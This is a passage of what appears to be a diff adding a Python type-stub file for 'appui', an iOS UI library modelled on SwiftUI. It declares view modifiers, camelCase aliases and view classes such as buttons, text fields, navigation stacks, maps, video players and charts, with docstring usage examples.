True, color: Optional[ColorLike] = None) -> Self: + """Apply strikethrough.""" + ... + def underline(self, active: bool = True, color: Optional[ColorLike] = None) -> Self: + """Apply underline.""" + ... + + # ── Accessibility ── + + def accessibility_label(self, label: str) -> Self: + """VoiceOver label for this view.""" + ... + def accessibility_hidden(self, value: bool = True) -> Self: + """Hide from the accessibility tree.""" + ... + + # ── Scroll ── + + def scroll_content_background(self, visibility: str = 'hidden') -> Self: + """List/Form background: ``'visible'`` or ``'hidden'`` (iOS 16+).""" + ... + def scroll_position(self, id: Optional[str] = None) -> Self: + """Bind scroll position to an anchor ID (iOS 17+).""" + ... + def scroll_target_layout(self, enabled: bool = True) -> Self: + """Mark children as scroll-snap targets (iOS 17+).""" + ... + def scroll_target_behavior(self, mode: str = 'view_aligned') -> Self: + """Scroll snap behavior: ``'view_aligned'`` or ``'paging'`` (iOS 17+).""" + ... + def default_scroll_anchor(self, anchor: str = 'top') -> Self: + """Set the default scroll anchor (iOS 17+). Anchor: ``'top'``, ``'center'``, ``'bottom'``, ``'leading'``, ``'trailing'``.""" + ... + def scroll_clip_disabled(self, disabled: bool = True) -> Self: + """Allow scroll content to extend beyond bounds (iOS 17+).""" + ... + def content_margins(self, edges: str = 'all', length: Optional[float] = None, + **kwargs: Any) -> Self: + """Set content margins for scrollable containers (iOS 17+). + + Args: + edges: ``'all'``, ``'horizontal'``, ``'vertical'``, ``'top'``, + ``'bottom'``, ``'leading'``, ``'trailing'``. + length: Margin size in points. + """ + ... + def symbol_effect(self, effect: str = 'bounce', is_active: bool = True, + value: Optional[Any] = None) -> Self: + """Apply a symbol animation to SF Symbols (iOS 17+). + + Args: + effect: ``'bounce'``, ``'pulse'``, ``'variable_color'``, ``'scale'``, + ``'appear'``, ``'disappear'``, ``'replace'``. + is_active: Whether the effect is active. + value: Trigger value — effect replays when this changes. + """ + ... + def scroll_transition(self, axis: str = 'vertical', transition: str = 'identity') -> Self: + """Apply a visual transition as content scrolls in/out of view (iOS 17+). + + Args: + axis: ``'vertical'`` or ``'horizontal'``. + transition: ``'identity'``, ``'opacity'``, ``'scale'``, ``'slide'``. + """ + ... + def scroll_edge_effect_style(self, style: str = 'automatic', edges: str = 'all') -> Self: + """Set iOS 26 scroll edge effect style: ``'automatic'``, ``'hard'``, ``'soft'``, or ``'none'``.""" + ... + def scroll_edge_effect_hidden(self, hidden: bool = True, edges: str = 'all') -> Self: + """Hide/show iOS 26 scroll edge effects for an edge set.""" + ... + + # ── Environment & Feedback ── + + def sensory_feedback(self, style: str = 'impact', trigger: Optional[str] = None) -> Self: + """Haptic feedback on trigger change. Style: ``'impact'``, ``'success'``, ``'warning'``, ``'error'``, ``'selection'``.""" + ... + def preferred_color_scheme(self, scheme: str) -> Self: + """Force color scheme: ``'light'`` or ``'dark'``.""" + ... + def environment_value(self, key: str, value: Any) -> Self: + """Set an environment value.""" + ... + + # ── Misc ── + + def z_index(self, value: float) -> Self: + """Z-axis drawing order relative to siblings.""" + ... + def content_shape(self, shape: str = 'rect') -> Self: + """Define the hit-testing shape: ``'rect'``, ``'circle'``, ``'capsule'``.""" + ... + + # ── CamelCase Aliases ── + # These are identical to their snake_case counterparts. + + foregroundColor = foreground_color + foregroundStyle = foreground_style + backgroundColor = background + cornerRadius = corner_radius + clipShape = clip_shape + lineLimit = line_limit + navigationTitle = navigation_title + navigationBarTitleDisplayMode = navigation_bar_title_display_mode + navigationBarBackButtonHidden = navigation_bar_back_button_hidden + buttonStyle = button_style + listStyle = list_style + textFieldStyle = text_field_style + toggleStyle = toggle_style + tabViewStyle = tab_view_style + pickerStyle = picker_style + gaugeStyle = gauge_style + progressViewStyle = progress_view_style + datePickerStyle = date_picker_style + onTap = on_tap + onAppear = on_appear + onDisappear = on_disappear + onLongPress = on_long_press + onDrag = on_drag + onMagnification = on_magnification + onRotation = on_rotation + onDrop = on_drop + onGeometry = on_geometry + onSubmit = on_submit + fullScreenCover = full_screen_cover + confirmationDialog = confirmation_dialog + contextMenu = context_menu + swipeActions = swipe_actions + submitLabel = submit_label + keyboardDismiss = keyboard_dismiss + ignoreSafeArea = ignore_safe_area + fixedSize = fixed_size + layoutPriority = layout_priority + scaleEffect = scale_effect + rotationEffect = rotation_effect + rotation3dEffect = rotation_3d_effect + matchedGeometryEffect = matched_geometry_effect + contentTransition = content_transition + phaseAnimator = phase_animator + minimumScaleFactor = minimum_scale_factor + multilineTextAlignment = multiline_text_alignment + truncationMode = truncation_mode + accessibilityLabel = accessibility_label + accessibilityHidden = accessibility_hidden + listRowBackground = list_row_background + listRowSeparator = list_row_separator + listRowInsets = list_row_insets + scrollContentBackground = scroll_content_background + scrollPosition = scroll_position + scrollTargetLayout = scroll_target_layout + scrollTargetBehavior = scroll_target_behavior + defaultScrollAnchor = default_scroll_anchor + scrollClipDisabled = scroll_clip_disabled + contentMargins = content_margins + symbolEffect = symbol_effect + scrollTransition = scroll_transition + containerRelativeFrame = container_relative_frame + simultaneousGesture = simultaneous_gesture + highPriorityGesture = high_priority_gesture + sensoryFeedback = sensory_feedback + preferredColorScheme = preferred_color_scheme + environmentValue = environment_value + contentShape = content_shape + safeAreaInset = safe_area_inset + toolbarBackground = toolbar_background + toolbarColorScheme = toolbar_color_scheme + navigationDestination = navigation_destination + safeAreaBar = safe_area_bar + tabViewBottomAccessory = tab_view_bottom_accessory + tabBarMinimizeBehavior = tab_bar_minimize_behavior + tabViewSearchActivation = tab_view_search_activation + searchToolbarBehavior = search_toolbar_behavior + zIndex = z_index + drawingGroup = drawing_group + glassEffect = glass_effect + backgroundExtensionEffect = background_extension_effect + glassEffectID = glass_effect_id + glassEffectTransition = glass_effect_transition + glassEffectUnion = glass_effect_union + scrollEdgeEffectStyle = scroll_edge_effect_style + scrollEdgeEffectHidden = scroll_edge_effect_hidden + + +# ═══════════════════════════════════════════════════════════ +# Text & Labels +# ═══════════════════════════════════════════════════════════ + +class Text(View): + """Display static or dynamic text. + + Example:: + + appui.Text("Hello World").font("title").bold().foreground_color("systemBlue") + """ + content: str + def __init__(self, content: str = '') -> None: ... + def aurora_set_content(self, content: str) -> None: + """Update text content via Aurora binary fast-path.""" + ... + +class Label(View): + """Title + icon combination (SF Symbol or custom image). + + Example:: + + appui.Label("Settings", system_image="gear") + """ + title: str + def __init__(self, title: str = '', system_image: Optional[str] = None, + image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ... + def aurora_set_title(self, title: str) -> None: + """Update label title text via Aurora binary fast-path.""" + ... + +class AttributedText(View): + """Rich text with per-span styling. + + Example:: + + appui.AttributedText(spans=[ + {"text": "Bold ", "bold": True}, + {"text": "Red", "color": "systemRed"}, + ]) + """ + def __init__(self, spans: Optional[Sequence[Dict[str, Any]]] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Images +# ═══════════════════════════════════════════════════════════ + +class Image(View): + """Display an SF Symbol or named image asset. + + Example:: + + appui.Image(system_name="star.fill").resizable().aspect_ratio(content_mode="fit").frame(width=40, height=40) + """ + def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, + systemName: Optional[str] = None) -> None: ... + def aurora_set_system_name(self, system_name: Optional[str]) -> None: + """Update a system-symbol image via Aurora binary fast-path.""" + ... + def resizable(self) -> Self: + """Make the image resizable.""" + ... + def aspect_ratio(self, ratio: Optional[float] = None, content_mode: str = 'fit', + **kwargs: Any) -> Self: + """Set aspect ratio. content_mode: ``'fit'`` or ``'fill'``.""" + ... + def symbol_rendering_mode(self, mode: str) -> Self: + """SF Symbol rendering: ``'hierarchical'``, ``'palette'``, ``'multicolor'``, ``'monochrome'``.""" + ... + def image_scale(self, scale: str) -> Self: + """Image scale: ``'small'``, ``'medium'``, ``'large'``.""" + ... + # CamelCase aliases + aspectRatio = aspect_ratio + imageScale = image_scale + symbolRenderingMode = symbol_rendering_mode + +class AsyncImage(View): + """Load an image from a URL asynchronously. + + Example:: + + appui.AsyncImage(url="https://example.com/photo.jpg") + .aspect_ratio(5 / 7, content_mode="fill") + """ + def __init__(self, url: str = '', placeholder: Optional[View] = None, + error_view: Optional[View] = None, content_mode: str = 'fit', + on_success: Optional[Callable] = None, + on_failure: Optional[Callable] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Input Controls +# ═══════════════════════════════════════════════════════════ + +class Button(View): + """A standard button. + + Example:: + + appui.Button("Save", action=save_data, role="destructive") + appui.Button(appui.Image(system_name="trash"), action=delete_item) + appui.Button(role="close", content=appui.Label("", system_image="xmark")) + appui.Button(action=do_thing, content=appui.Label("Go", system_image="arrow.right")) + + # Title + SF Symbol without a custom content view: + appui.Button("收藏", action=bookmark, system_image="bookmark") + # Icon-only button: + appui.Button(action=refresh, system_image="arrow.clockwise") + """ + def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, + role: Optional[str] = None, content: Optional[ViewChild] = None, + system_image: Optional[str] = None, image: Optional[str] = None, + systemImage: Optional[str] = None) -> None: ... + +class CloseButton(View): + """A semantic MiniApp close button. + + Use inside a toolbar when you want to provide your own close control. In + ``fullscreen_with_close`` this prevents the host from injecting a duplicate + close button for the containing NavigationStack. + """ + def __init__(self, title: str = '', system_image: str = 'xmark', + systemImage: Optional[str] = None) -> None: ... + +class TextField(View): + """Single-line text input. + + Example:: + + def set_name(value): + state.name = value + + appui.TextField("Enter name", text=state.name, on_change=set_name) + """ + text: str + def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, + on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, + autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, + submit_label: Optional[str] = None, + onChange: Optional[Callable] = None, + onSubmit: Optional[Callable] = None, + keyboardType: Optional[str] = None, + autoCapitalization: Optional[str] = None, + autocorrectionDisabled: Optional[bool] = None, + submitLabel: Optional[str] = None, + value: Optional[str] = None, + **kwargs: Any) -> None: ... + def aurora_set_text(self, text: str) -> None: + """Update text field content via Aurora binary fast-path.""" + ... + +class SecureField(View): + """Password input field.""" + def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, + on_submit: Optional[Callable] = None, + onChange: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class TextEditor(View): + """Multi-line text editing area.""" + def __init__(self, text: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class TextFieldLink(View): + """Text field that triggers a submission action.""" + def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class SearchField(View): + """Standalone search field.""" + def __init__(self, text: str = '', placeholder: str = 'Search', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + on_submit: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class Toggle(View): + """On/off switch. + + Example:: + + def set_dark(value): + state.dark = value + + appui.Toggle("Dark Mode", is_on=state.dark, on_change=set_dark) + """ + is_on: bool + def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, + isOn: Optional[bool] = None, onChange: Optional[Callable] = None, + value: Optional[bool] = None) -> None: ... + def aurora_set_is_on(self, value: bool) -> None: + """Update toggle state via Aurora binary fast-path.""" + ... + +class Slider(View): + """Continuous value slider. + + Example:: + + def set_volume(value): + state.vol = value + + appui.Slider(value=state.vol, minimum=0, maximum=100, on_change=set_volume) + """ + value: float + def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, + step: Optional[float] = None, label: str = '', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + minValue: Optional[float] = None, + maxValue: Optional[float] = None) -> None: ... + def aurora_set_value(self, value: float) -> None: + """Update slider value via Aurora binary fast-path.""" + ... + +class Stepper(View): + """Increment/decrement control.""" + value: int + def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, + step: int = 1, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + def aurora_set_value(self, value: int) -> None: + """Update stepper value via Aurora binary fast-path.""" + ... + +class Picker(View): + """Selection picker (dropdown/wheel/menu). + + Style controlled by ``.picker_style()``.""" + def __init__(self, label: str = '', selection: Optional[str] = None, + options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class SegmentedControl(View): + """Horizontal segmented picker.""" + def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class InlinePickerStyle(View): + """Inline picker displayed directly in the layout.""" + def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class WheelPicker(View): + """Scrolling wheel picker.""" + def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class DatePicker(View): + """Date and/or time picker. + + Args: + components: ``'date'``, ``'hourAndMinute'``, or both joined.""" + def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class MultiDatePicker(View): + """Multi-date selection (iOS 16+).""" + def __init__(self, title: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class ColorPicker(View): + """Native color picker.""" + def __init__(self, label: str = '', selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class Menu(View): + """Dropdown menu. + + Pass ``system_image`` (an SF Symbol name) to show an icon as the menu's + trigger instead of text — e.g. an ``ellipsis.circle`` overflow button in a + toolbar. When both ``title`` and ``system_image`` are given the trigger + shows an icon + text label; with only ``system_image`` it shows the icon + alone. + + Example:: + + appui.Menu("Actions", content=[ + appui.Button("Copy", action=copy), + appui.Button("Delete", action=delete, role="destructive"), + ]) + + # Icon-only overflow menu (e.g. in a toolbar) + appui.Menu(system_image="ellipsis.circle", content=[ + appui.Button("全部", action=show_all), + appui.Button("收藏", action=show_bookmarks), + ]) + """ + def __init__(self, title: str = '', content: Optional[Sequence[View]] = None, + children: Optional[Sequence[View]] = None, + system_image: Optional[str] = None, + image: Optional[str] = None, + systemImage: Optional[str] = None) -> None: ... + +class PasteButton(View): + """System paste button (iOS 16+).""" + def __init__(self, on_paste: Optional[Callable] = None, + onPaste: Optional[Callable] = None) -> None: ... + +class RenameButton(View): + """System rename button.""" + def __init__(self, action: Optional[Callable] = None) -> None: ... + +class EditButton(View): + """System edit-mode toggle button.""" + pass + +class SignInWithAppleButton(View): + """Apple Sign-In button. + + Args: + type: ``'signIn'``, ``'continue'``, ``'signUp'``.""" + def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, + onComplete: Optional[Callable] = None) -> None: ... + +class PhotoPicker(View): + """Photo library picker. + + Args: + filter: ``'images'``, ``'videos'``, or ``'all'``.""" + def __init__(self, selection_limit: int = 1, filter: str = 'images', + on_picked: Optional[Callable] = None, label: Optional[View] = None, + selectionLimit: Optional[int] = None, + onPicked: Optional[Callable] = None, + **kwargs: Any) -> None: ... + +class CameraPicker(View): + """Camera capture view. + + Args: + source: ``'camera'`` or ``'front'``. + media_type: ``'photo'`` or ``'video'``.""" + def __init__(self, source: str = 'camera', media_type: str = 'photo', + on_captured: Optional[Callable] = None, label: Optional[View] = None, + mediaType: Optional[str] = None, + onCaptured: Optional[Callable] = None, + **kwargs: Any) -> None: ... + + +class FileImporter(View): + """System document picker for importing files. + + Args: + allowed_types: type names, filename extensions, or MIME types. + allows_multiple: allow selecting more than one file. + copy: copy selected files into the app sandbox before returning paths. + on_picked: callback receiving a list of file-path strings.""" + def __init__(self, + allowed_types: Optional[Union[str, Sequence[str]]] = None, + allows_multiple: bool = False, + copy: bool = True, + on_picked: Optional[Callable] = None, + label: Optional[View] = None, + allowedTypes: Optional[Union[str, Sequence[str]]] = None, + allowsMultiple: Optional[bool] = None, + onPicked: Optional[Callable] = None, + **kwargs: Any) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Layout Containers +# ═══════════════════════════════════════════════════════════ + +class _ContainerView(View): + """Base for container views that support ``with`` context-manager syntax.""" + def __enter__(self) -> Self: ... + def __exit__(self, *exc: Any) -> bool: ... + +class VStack(_ContainerView): + """Vertical stack layout. + + Example:: + + appui.VStack([appui.Text("A"), appui.Text("B")], spacing=8, alignment="leading") + """ + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class HStack(_ContainerView): + """Horizontal stack layout.""" + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class ZStack(_ContainerView): + """Overlay stack — children layered on top of each other.""" + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center') -> None: ... + +class LazyVStack(View): + """Lazy vertical stack — renders children on demand.""" + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class LazyHStack(View): + """Lazy horizontal stack.""" + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class ScrollView(_ContainerView): + """Scrollable container. + + Args: + axes: ``'vertical'``, ``'horizontal'``, ``'both'``.""" + def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', + shows_indicators: bool = True, + showsIndicators: Optional[bool] = None) -> None: ... + +class ScrollViewReader(View): + """ScrollView with programmatic scroll-to support. + + Example:: + + appui.ScrollViewReader([...], scroll_to="item_5", anchor="center") + """ + def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', + shows_indicators: bool = True, scroll_to: Optional[str] = None, + anchor: str = 'top', showsIndicators: Optional[bool] = None, + scrollTo: Optional[str] = None, + children: Optional[ViewChild] = None) -> None: ... + +class Spacer(View): + """Flexible space that expands to fill available room.""" + def __init__(self, min_length: Optional[float] = None, + minLength: Optional[float] = None) -> None: ... + +class Divider(View): + """Thin horizontal line separator.""" + pass + +class LazyVGrid(View): + """Lazy vertical grid. + + Example:: + + appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()], content=[...]) + """ + def __init__(self, columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, + spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ... + +class LazyHGrid(View): + """Lazy horizontal grid.""" + def __init__(self, rows: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, + spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ... + +class Grid(View): + """Precise grid layout (like HTML ````). Use with ``GridRow``.""" + def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', + horizontal_spacing: Optional[float] = None, + vertical_spacing: Optional[float] = None, + horizontalSpacing: Optional[float] = None, + verticalSpacing: Optional[float] = None) -> None: ... + +class GridRow(View): + """A single row inside a ``Grid``.""" + def __init__(self, content: Optional[Sequence[View]] = None, + alignment: Optional[str] = None) -> None: ... + +class GeometryReader(View): + """Read the parent's size and position. + + The ``on_change`` callback receives ``{'width': float, 'height': float}``.""" + def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + children: Optional[ViewChild] = None, + on_geometry: Optional[Callable] = None, + onGeometry: Optional[Callable] = None) -> None: ... + +class ViewThatFits(View): + """Picks the first child that fits the available space.""" + def __init__(self, content: Optional[Sequence[View]] = None) -> None: ... + +class Group(View): + """Logical grouping — does not add any visual element or layout.""" + def __init__(self, content: Optional[Sequence[View]] = None) -> None: ... + +class Overlay(View): + """Layer an overlay view on top of content.""" + def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, + alignment: str = 'center') -> None: ... + +class SafeAreaInset(View): + """Pin content to a safe-area edge.""" + def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Navigation +# ═══════════════════════════════════════════════════════════ + +class NavigationStack(View): + """Container for push-based navigation. + + Example:: + + appui.NavigationStack( + appui.List([ + appui.NavigationLink("Detail", destination=detail_view()) + ]).navigation_title("Home") + ) + """ + def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, + destinations: Optional[Dict[str, Callable]] = None) -> None: ... + +NavigationView = NavigationStack +"""Alias: ``NavigationView`` is the same as ``NavigationStack``.""" + +class NavigationLink(View): + """Push a destination view onto the navigation stack.""" + def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, + label: Optional[View] = None) -> None: ... + +class NavigationSplitView(View): + """Two- or three-column layout (iPad). + + Args: + column_visibility: ``'all'``, ``'double'``, ``'detail'``.""" + def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, + supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ... + +class TabView(View): + """Tab-based navigation. + + Example:: + + appui.TabView(tabs=[ + appui.Tab("Home", system_image="house", content=home_view()), + appui.Tab("Settings", system_image="gear", content=settings_view()), + ]) + """ + def __init__(self, tabs: Optional[Sequence["Tab"]] = None, selection: Optional[int] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class Tab(View): + """A single tab for ``TabView``. + + ``role`` supports ``'search'`` on iOS 18+ for the trailing search tab affordance. + """ + def __init__(self, title: str = '', system_image: Optional[str] = None, + image: Optional[str] = None, content: Optional[View] = None, + badge: Optional[int] = None, tag: Optional[int] = None, + systemImage: Optional[str] = None, role: Optional[str] = None, + key: Optional[str] = None) -> None: ... + def badge(self, count: Any) -> Self: + """Show a badge on this tab.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Data Display +# ═══════════════════════════════════════════════════════════ + +class List(_ContainerView): + """Scrollable list of rows. Style with ``.list_style()``.""" + def __init__(self, content: Optional[Sequence[View]] = None) -> None: ... + +class ForEach(View): + """Dynamic list of views from data. + + Example:: + + def row_view(item): + return appui.Text(item.name) + + def item_key(item): + return item.id + + appui.ForEach(items, row_builder=row_view, key=item_key) + """ + def __init__(self, data: Any, row_builder: Optional[Callable] = None, + key: Optional[Callable] = None, + rowBuilder: Optional[Callable] = None, + content: Optional[Callable] = None) -> None: ... + +class Form(_ContainerView): + """Grouped settings form. Use with ``Section``.""" + def __init__(self, content: Optional[Sequence[View]] = None) -> None: ... + +class Section(_ContainerView): + """Section inside a ``List`` or ``Form`` with optional header/footer.""" + @overload + def __init__(self, header: Union[str, View], content: Optional[ViewChild] = None, + footer: Optional[Union[str, View]] = None, + key: Optional[str] = None) -> None: ... + @overload + def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, + footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, + key: Optional[str] = None) -> None: ... + +class GroupBox(View): + """Titled content group box.""" + def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, + children: Optional[Sequence[View]] = None) -> None: ... + +class DisclosureGroup(View): + """Expandable/collapsible content group.""" + def __init__(self, label: str = '', is_expanded: Optional[bool] = None, + content: Optional[ViewChild] = None, + isExpanded: Optional[bool] = None, + children: Optional[ViewChild] = None) -> None: ... + +class LabeledContent(View): + """Label-value pair for settings rows.""" + def __init__(self, label: str = '', value: Optional[str] = None, + content: Optional[View] = None) -> None: ... + +class Table(View): + """Multi-column table (iPad, iOS 17.4+). Falls back to ``List`` on iPhone.""" + def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, + columns: Optional[Sequence[Dict[str, str]]] = None, + on_select: Optional[Callable] = None, + onSelect: Optional[Callable] = None) -> None: ... + +class ControlGroup(View): + """Group related controls together.""" + def __init__(self, label: str = '', content: Optional[Sequence[View]] = None, + children: Optional[Sequence[View]] = None) -> None: ... + +class ContentUnavailableView(View): + """Empty state placeholder view.""" + def __init__(self, title: str = '', system_image: Optional[str] = None, + description: Optional[str] = None, + systemImage: Optional[str] = None) -> None: ... + +class ProgressView(View): + """Determinate or indeterminate progress indicator. + + Omit ``value`` for an indeterminate spinner.""" + value: Optional[float] + def __init__(self, label: Optional[str] = None, value: Optional[float] = None, + total: float = 1.0) -> None: ... + def aurora_set_value(self, value: Optional[float]) -> None: + """Update progress value via Aurora binary fast-path.""" + ... + +class Link(View): + """Tappable hyperlink that opens a URL.""" + def __init__(self, title: str = '', url: str = '') -> None: ... + +class Gauge(View): + """Value gauge indicator.""" + def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, + label: str = '', minValue: Optional[float] = None, + maxValue: Optional[float] = None) -> None: ... + +class ShareLink(View): + """Share button that presents a system share sheet.""" + def __init__(self, item: str = '', subject: Optional[str] = None, + message: Optional[str] = None) -> None: ... + +class Badge(View): + """Numeric or text badge overlay.""" + def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ... + +class TimelineView(View): + """Periodically updating view (e.g., clocks).""" + def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Presentation Views +# ═══════════════════════════════════════════════════════════ + +class Alert(View): + """Alert dialog as a standalone view.""" + def __init__(self, title: str = '', message: Optional[str] = None, + is_presented: bool = False, actions: Optional[Sequence[View]] = None, + isPresented: Optional[bool] = None) -> None: ... + +class ConfirmationDialog(View): + """Confirmation action sheet as a standalone view.""" + def __init__(self, title: str = '', message: Optional[str] = None, + is_presented: bool = False, actions: Optional[Sequence[View]] = None, + isPresented: Optional[bool] = None) -> None: ... + +class Popover(View): + """Popover container (iPad shows popover, iPhone shows sheet).""" + def __init__(self, is_presented: bool = False, content: Optional[View] = None, + trigger: Optional[View] = None, + isPresented: Optional[bool] = None) -> None: ... + +class Refreshable(View): + """Pull-to-refresh container.""" + def __init__(self, on_refresh: Optional[Callable] = None, + onRefresh: Optional[Callable] = None, + content: Optional[ViewChild] = None) -> None: ... + +class SwipeActions(View): + """Swipe-action container for list rows.""" + def __init__(self, content: Optional[View] = None, leading: Optional[Sequence[View]] = None, + trailing: Optional[Sequence[View]] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Media & Maps +# ═══════════════════════════════════════════════════════════ + +class MapView(View): + """Native Apple Maps view. + + Example:: + + appui.MapView(latitude=31.23, longitude=121.47, span=0.05, markers=[ + {"latitude": 31.23, "longitude": 121.47, "title": "Shanghai"}, + ]) + """ + def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, + span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, + map_style: str = 'automatic', + mapStyle: Optional[str] = None) -> None: ... + def aurora_set_center(self, latitude: float, longitude: float) -> None: + """Update map center via Aurora binary fast-path.""" + ... + def aurora_set_span(self, span: float) -> None: + """Update map span via Aurora binary fast-path.""" + ... + +class WebView(View): + """Embedded web view (WKWebView). Provide ``url`` or ``html``.""" + def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ... + +class PlayerController: + """Primary AppUI video controller for ``VideoPlayer(player=...)``. + + Use this in AppUI media MiniApps that need seek, progress persistence, + playback rate, completion, error, status, or PiP callbacks. Pure playback + scripts can use the lower-level ``avplayer`` module instead. + """ + id: str + url: str + autoplay: bool + loop: bool + rate: float + volume: float + allows_pip: bool + allows_airplay: bool + video_gravity: str + pause_on_disappear: bool + current_time: float + duration: float + is_playing: bool + def __init__(self, id: str = 'main', url: str = '', autoplay: bool = False, + loop: bool = False, rate: float = 1.0, volume: float = 1.0, + allows_pip: bool = True, allows_airplay: bool = True, + video_gravity: str = 'resizeAspect', + pause_on_disappear: bool = True) -> None: ... + def load(self, url: str, autoplay: Optional[bool] = None) -> bool: ... + def play(self, rate: Optional[float] = None) -> 'PlayerController': ... + def pause(self) -> 'PlayerController': ... + def stop(self) -> 'PlayerController': ... + def seek(self, seconds: float) -> 'PlayerController': ... + def set_rate(self, rate: float) -> 'PlayerController': ... + def set_volume(self, volume: float) -> 'PlayerController': ... + def on_progress(self, action: Optional[Callable[[float], Any]] = None, + interval: float = 1.0) -> Any: ... + def on_finished(self, action: Optional[Callable[[], Any]] = None) -> Any: ... + def on_error(self, action: Optional[Callable[[str], Any]] = None) -> Any: ... + def on_status_change(self, action: Optional[Callable[[str], Any]] = None) -> Any: ... + def on_pip_change(self, action: Optional[Callable[[bool], Any]] = None) -> Any: ... + def cleanup(self) -> None: ... + +class VideoPlayer(View): + """Video player (AVKit). + + Example:: + + appui.VideoPlayer(url="https://example.com/video.mp4", autoplay=True, loop=True) + player = appui.PlayerController("main", url="https://example.com/video.m3u8") + appui.VideoPlayer(player=player) + """ + def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, + show_controls: bool = True, presentation: str = 'inline', + allows_fullscreen: bool = True, allows_pip: bool = True, + allows_airplay: bool = True, video_gravity: str = 'resizeAspect', + enters_fullscreen_when_playback_begins: bool = False, + exits_fullscreen_when_playback_ends: bool = True, + showControls: Optional[bool] = None, + allowsFullscreen: Optional[bool] = None, + allowsPiP: Optional[bool] = None, + allowsPictureInPicture: Optional[bool] = None, + allowsAirPlay: Optional[bool] = None, + videoGravity: Optional[str] = None, + entersFullscreenWhenPlaybackBegins: Optional[bool] = None, + exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, + allows_picture_in_picture: Optional[bool] = None, + player: Optional[PlayerController] = None, + player_id: Optional[str] = None, + pause_on_disappear: Optional[bool] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Charts (iOS 16+) +# ═══════════════════════════════════════════════════════════ + +class Chart(View): + """Swift Charts view. Types: ``'bar'``, ``'line'``, ``'area'``, ``'point'``, ``'rule'``. + + Example:: + + appui.Chart(data=[{"x": "Jan", "y": 100}, {"x": "Feb", "y": 200}], + x="x", y="y", type="bar", color="systemBlue") + """ + def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 